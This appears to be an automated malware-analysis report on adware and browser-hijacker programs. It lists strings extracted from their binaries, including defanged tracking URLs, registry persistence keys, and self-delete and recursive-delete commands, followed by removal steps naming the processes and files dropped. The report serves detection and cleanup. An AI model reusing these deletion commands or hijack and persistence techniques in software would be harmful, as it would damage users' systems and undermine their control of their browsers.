Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.

hXXp://xa.xingcloud.com

xxxx

%u_%u

%s_%s

%s_X

\\.\PhysicalDrive%d

UpDateProcess.exe

hXXp://VVV.theviilage.com/searchprotect/up?ptid=%s&sid=%s&ln=%s_%s&ver=%s&uid=%s&dp=%s

g{2EFFE99D-743D-44D0-BBF2-F9DDDEA2F92D}

Global\{5F26509F-29FE-4598-8800-FA22CE9CC17F}__Mutex

Report HeartBeat

cmdshell.exe

hXXp://xa.xingcloud.com/v4/searchprotect/%s?action=visit.heartbeat.%s&update0=ref,%s&update1=nation,%s&update2=language,%s&update3=version,%s

hXXp://xa.xingcloud.com/v4/searchprotect/%s?action0=xa.geoip&action1=visit&action2=install

hXXp://xa.xingcloud.com/v4/searchprotect/%s?action=uninstall

explorer.exe

Advapi32.dll

"%s" %s

psapi.dll

Explorer.exe

json_value.cpp

ljson_reader.cpp

ProtectSvc.exe

4.0.1.1716

HPNotify.exe_4156:

.text

`.rdata

@.data

.rsrc

@.reloc

<9%uo

wszUrl

strUrlTemp

hKEY

strSelUrl

strUrl

strConfUrlTemp

strDsUrl

strHpUrl

strCmdLine

tCPW

%UUUU

e_GetBrowserCurrentHpUrl

e_GetBrowserCurrentDsUrl

URLDownloadToFileW

URLDownloadToFileW ret:0XX

Error : %d

inflate 1.1.3 Copyright 1995-1998 Mark Adler

1.1.3

monochrome

unsupported bit depth

`'\%D,3

Run-Time Check Failure #%d - %s

%s%s%p%s%ld%s%d%s

%s%s%s%s

RegOpenKeyExW

RegCloseKey

del /s/q %1\*.*

%suninstall.bat

E:\supsoft\SupSearchProtectV4\SearchProtect\bin\Release\HPNotify.pdb

KERNEL32.dll

GetKeyState

USER32.dll

GDI32.dll

ADVAPI32.dll

ShellExecuteW

ShellExecuteA

ShellExecuteExW

SHELL32.dll

ole32.dll

OLEAUT32.dll

SHDeleteKeyW

SHLWAPI.dll

MSVCP110.dll

MSVCR110.dll

_calloc_crt

_CRT_RTC_INITW

__crtGetShowWindowMode

_amsg_exit

_wcmdln

_crt_debugger_hook

__crtUnhandledException

__crtTerminateProcess

__crtSetUnhandledExceptionFilter

GdiplusShutdown

gdiplus.dll

IMM32.dll

DeleteUrlCacheEntryW

WININET.dll

COMCTL32.dll

GetProcessHeap

#*1892 $

%,3:;4-&

.?AVCActiveXEnum@DuiLib@@

.?AVCWebBrowserUI@DuiLib@@

<requestedExecutionLevel level='requireAdministrator' uiAccess='false' />

<assemblyIdentity type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='x86' publicKeyToken='6595b64144ccf1df' language='*' />

3?3

1-2}2

77t7

9":,:6:@:

12u2

: :$:(:,:0:

4 4$4(4,404

>$?(?,?0?

2 2$2(2,20242

0 1@1\1|1

hXXp://VVV.bing.com/

hXXp://VVV.yahoo.com/

hXXp://VVV.google.com/

%sconf

web/?type=dspp&

web/?type=dspp

hXXp://VVV.v9.com/

Itemd

BrowserAction.dll

%u_%u

%s_%s

%s_X

\\.\PhysicalDrive%d

\\.\Scsi%d:

UrlEdit

conf.xml

hXXp://v9.com/license_agreement.html

hXXp://v9.com/privacy_policy.html

hXXp://xa.xingcloud.com/v4/searchprotect/%s?action=set.show.%s

hXXp://xa.xingcloud.com/v4/searchprotect/%s?action=set.other.%s

%stmp%d.tmp

urlmon.dll

main.xml

explorer.exe

Global\{5F26509F-29FE-4598-8800-FA22CE9CC17F}__Mutex

IeWatchDog.dll

BrowerWatchFF.dll

BrowerWatchCH.dll

Global\GUID(6D05BFEC-4307-4649-8963-962A24345DF4)

msimg32.dll

User32.dll

WM_KEYDOWN

WM_KEYUP

WM_SYSKEYDOWN

WM_SYSKEYUP

0xX

keyboard

msftedit.dll

password

%s%s%s

Correct password required

%s\%s

WebBrowser

transshadow

transshadow1

dest='%d,%d,%d,%d'

dest='%d,%d,%d,%d' source='%d,%d,%d,%d'

source='%d,%d,%d,%d' dest='%d,%d,%d,%d'

M-d-d

WebBrowserUI

errorUrl

{D27CDB6E-AE6D-11CF-96B8-444553540000}

user32.dll

MSPDB110.DLL

ADVAPI32.DLL

/c ping 127.0.0.1 -n 2 > nul && del /s/q

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

%Program Files% (x86)\XTab\skin\

SupHPNot.exe

4,0,1,1716

SupHPNty.exe

WebPlayer.exe_4672:

.text

`.rdata

@.data

.rsrc

@.reloc

8%u:j

RegOpenKeyTransactedW

RegCreateKeyTransactedW

RegDeleteKeyTransactedW

operator

GetProcessWindowStation

KERNEL32.dll

EnumWindows

USER32.dll

GDI32.dll

RegOpenKeyExW

RegCreateKeyExW

RegDeleteKeyW

RegCloseKey

RegEnumKeyExW

RegQueryInfoKeyW

ADVAPI32.dll

SHELL32.dll

ole32.dll

OLEAUT32.dll

SHLWAPI.dll

COMCTL32.dll

urlmon.dll

GetProcessHeap

GetCPInfo

.?AVIKeyValueStorage@@

.?AVCWebPlayerEventsCallback@@

.?AVCComWebPlayer@@

.?AV?$CComCoClass@VCComWebPlayer@@$1?GUID_NULL@@3U_GUID@@B@ATL@@

.?AV?$IDispatchDynamicImpl@VCComWebPlayer@@@@

.?AV?$CComObject@VCComWebPlayer@@@ATL@@

.?AVCWebPlayerView@@

.?AV?$CWindowImpl@VCWebPlayerView@@V?$CAxWindowT@VCWindow@ATL@@@ATL@@V?$CWinTraits@$0FGAAAAAA@$0A@@3@@ATL@@

.?AV?$CTrayIcon@VCWebPlayerView@@@@

.?AV?$IDispEventImpl@$00VCWebPlayerView@@$1?DIID_DWebBrowserEvents2@@3U_GUID@@B$1?LIBID_SHDocVw@@3U3@B$00$0A@VCComTypeInfoHolder@ATL@@@ATL@@

.?AV?$IDispEventSimpleImpl@$00VCWebPlayerView@@$1?DIID_DWebBrowserEvents2@@3U_GUID@@B@ATL@@

.?AV?$_IDispEventLocator@$00$1?DIID_DWebBrowserEvents2@@3U_GUID@@B@ATL@@

zc�

<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>

<assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="x86" publicKeyToken="6595b64144ccf1df" language="*"></assemblyIdentity>

2 3$3(3,3

getWebBrowser

hXXps://

hXXp://

Advapi32.dll

Software\WebPlayer\

javascript.debug

javascript.show_errors

SOFTWARE\Microsoft\Windows\CurrentVersion\Run

HKEY_CLASSES_ROOT

HKEY_CURRENT_USER

HKEY_LOCAL_MACHINE

HKEY_USERS

HKEY_PERFORMANCE_DATA

HKEY_DYN_DATA

HKEY_CURRENT_CONFIG

icons\main.ico

WebPlayerEngine

WebPlayer\

scripts\config.xml

window.placement

icons\tray.ico

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

mscoree.dll

KERNEL32.DLL

WUSER32.DLL

C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\WebPlayer.exe

&About WebPlayer

WebPlayer

Replace%Select the entire document

Arrange Icons/Arrange windows so they overlap

Cascade Windows5Arrange windows as non-overlapping tiles

Tile Windows5Arrange windows as non-overlapping tiles

Tile Windows(Split the active window into panes

1.1.0.0

WebPlayer.exe

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Scan a system with an anti-rootkit tool.
Terminate malicious process(es) (How to End a Process With the Task Manager):
GoogleUpdate.exe:4404
GoogleUpdate.exe:3128
GoogleUpdate.exe:4228
cmdshell.exe:2052
BaofengUpdate.exe:1160
BaofengUpdate.exe:3484
YTAHelper.exe:1496
YouTubeAcceleratorService.exe:2656
YouTubeAcceleratorService.exe:1800
ins_postInst.exe:3504
ProtectService.exe:3368
ProtectService.exe:2632
40.0.2214.94_chrome_installer.exe:3040
jsdrv.exe:2332
appshat.exe:2252
biclient.exe:716
biclient.exe:1640
biclient.exe:600
11a9fc6b-cfbc-4d3c-943b-7e1062933d01-4.exe:3808
GLB1A53.tmp:2896
PING.EXE:1160
PING.EXE:3752
PING.EXE:1784
PING.EXE:4348
PING.EXE:3732
PING.EXE:1984
PING.EXE:3368
PING.EXE:4280
PING.EXE:2348
PING.EXE:3856
PING.EXE:3084
PING.EXE:1792
PING.EXE:3668
PING.EXE:4444
PING.EXE:240
PING.EXE:3996
PING.EXE:1040
PING.EXE:3012
PING.EXE:2312
PING.EXE:3988
PING.EXE:1000
ins_yta.exe:3612
Vlwgfsqfpaz.exe:1440
testlsp.exe:2916
FreeZip920.exe:2304
powershell.exe:3504
powershell.exe:1968
powershell.exe:3696
setup.exe:3136
setup.exe:2364
setup.exe:4376
HPNotify.exe:4156
GLJ1A92.tmp:3112
WerFault.exe:1724
ShopperPro.exe:3932
STab_Down_6.0.6.6.exe:3552
App Lid-codedownloader.exe:1752
App Lid-codedownloader.exe:1764
ins_shopperpro.exe:3960
13BE.tmp:3768
regsvr32.exe:1496
regsvr32.exe:208
regsvr32.exe:4016
regsvr32.exe:3856
regsvr32.exe:3324
regsvr32.exe:3520
lspinst.exe:2620
lspinst.exe:3212
webplayer_installer.exe:4512
YTAHEL~1.EXE:1784
appshat_generic.exe:1808
DCytaiesmt_smtyc_setup.exe:320
cscript.exe:4548
spbiu.exe:5004
spbiu.exe:2632
wscript.exe:4920
XTab_v4.0.exe:3896
taskeng.exe:4360
taskeng.exe:2668
ytaiesmt_smtyc_setup.exe:3916
%original file name%.exe:2944
Delete the original Application file.
Delete or disinfect the following files created/modified by the Application:
%Program Files% (x86)\Google\Update\Download\{4DC8B4CA-1BDA-483E-B5FA-D3C12E15B62D}\40.0.2214.94\40.0.2214.94_chrome_installer.exe (312970 bytes)
%Program Files% (x86)\Google\Update\Install\{FD0565BD-B5D0-4972-9B70-EF16ED205441}\40.0.2214.94_chrome_installer.exe (331841 bytes)
C:\Windows\SysWOW64\806977.html (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\rebirth[1].htm (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\tmp\422.db (220 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebDataJs (43 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\tmp\STab_Down_6.0.6.6.exe (114 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\tmp\wpm_v20.0.0.1714.exe (930 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\content\js\pack\common.js (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\content\include\tools\misc.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\prefs.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\modules\properties.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\bk_shadow.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\checked.png (222 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\skin\logo.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\locale\tr\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code5.jpg (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code1.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\skin\default_logo.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\locale\fr-CH\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\content\js\lib\jquery.autocomplete.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\modules\last_tab.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\content\include\tools\urlrequestor.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\content\js\module\stat.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\content\js\lib\jquery-2.1.0.min.js (3312 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\skin\icon.png (628 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\content\js\pack\xagainit.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\modules\restoreprefs.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\defaults\preferences\fvd.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\content\include\tools\about_blank_hook.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.json (196 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Mozilla Firefox.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\content\js\module\mostgrid.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\checkbox_select.png (783 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\57A1.tmp (110 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\modules\misc.js (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\locale\fr\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\bg1.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\BFVUpdateM.dll (110 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\locale\ru\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\422.json (520 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Internet Explorer.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\button.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\content\js\lib\doT.min.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\install.rdf (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\Thumbs.db (27 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\locale\it-CH\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\locale\en-US\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\bg.png (673 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\content\js\module\hotSearch.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\content\js\js.js (660 bytes)
C:\Users\Public\Desktop\Mozilla Firefox.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\skin\loading.gif (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\button1.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\content\index.html (4 bytes)
%Program Files% (x86)\Mozilla Firefox\browser\searchplugins\mystartsearch.xml (565 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\loading_bg.png (159 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\scrollbar.bmp (37 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\content\js\pack\ga.js (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\uninstallDlg2.xml (19 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\skin\google_trends.png (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\locale\vi\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\modules\addonmanager.js (531 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\unchecked.png (135 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\Web Data (1518 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\locale\es-419\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\locale\en\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\locale\pt-BR\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\modules\settings.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome.manifest (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code3.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\content\include\speed_dial.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\content\include\tools\popup_image_helper.js (693 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\locale\es\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.ini (480 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\close.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Launch Internet Explorer Browser.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\Thumbs.db (42 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\locale\zh-CN\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Internet Explorer (No Add-ons).lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\Web Data-journal (6322 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Internet Explorer.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\locale\pl\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\modules\aes.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\min.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\locale\zh-TW\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code4.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\locale\ru-MO\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\locale\fr-LU\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\defaults\preferences\preferences.js (379 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code6.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\modules\remoterequest.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\content\js\module\search.js (3 bytes)
C:\Users\Public\Desktop\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\MessageBox.xml (3 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\content\quick_start.xul (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\skin\simple.css (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\UninstallManager.exe (13122 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\checkbox.png (545 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\skin\googlelogo.png (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\locale\it\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\locale\fr-BE\locale.properties (2 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Mozilla Firefox.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\skin\style.css (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\57D0.tmp (110 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\loading_light.png (139 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\content\quick_start.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\locale\fr-CA\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code2.jpg (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\skin\newtab.ico (1 bytes)
%Program Files% (x86)\YTAHelper\config.json (486 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_2676_YouTubeAcceleratorService.log (207771 bytes)
C:\Windows\Temp\SBC3B70.tmp (547 bytes)
C:\Windows\Temp\SBC52B3.tmp (98 bytes)
C:\Windows\Temp\SBC496E.tmp (98 bytes)
C:\ProgramData\TEMP:56E2E879 (232 bytes)
%Program Files% (x86)\YouTube Accelerator\helper.dll (200 bytes)
C:\Windows\Temp\SBC587F.tmp (51193 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\config.xml (6515 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAcceleratorService_2676.log (591 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\va_conf.dat (706 bytes)
C:\Windows\Temp\SBC53BD.tmp (44 bytes)
C:\Windows\Temp\SBC7FED.tmp (547 bytes)
C:\Windows\Temp\SBC50AF.tmp (44 bytes)
%Program Files% (x86)\YouTube Accelerator\engine.dll (146 bytes)
%Program Files% (x86)\YouTube Accelerator\ipc.dll (286 bytes)
%Program Files% (x86)\YouTube Accelerator\xmldb.dll (192 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_24880\ins_shopperpro.exe (17154 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Installer\Installiwebar_24031\ins_postInst.exe (7726 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Installer\Installsense_24031\ins_postInst.exe (7726 bytes)
C:\ProgramData\IHProtectUpDate\update\conf (5 bytes)
C:\Windows\Temp\CR_16230.tmp\SETUP.EX_ (375 bytes)
C:\Windows\Temp\CR_16230.tmp\setup.exe (17361 bytes)
C:\Windows\Temp\CR_16230.tmp\CHROME.PACKED.7Z (44833 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAccelerator_1032.log (79883 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk7E77.tmp (50 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trial_now_accelerating.mht (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk7E56.tmp (682 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\helper_2916_testlsp.log_tmp (150 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk7DA8.tmp (242 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk7E9C.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\premium_video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\dl_update.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\va_off.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk7E89.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\ipc_2916_testlsp.log_tmp (989 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\itunesmessage.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\silenttestsucceeded.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAccelerator_1032.log_tmp (14 bytes)
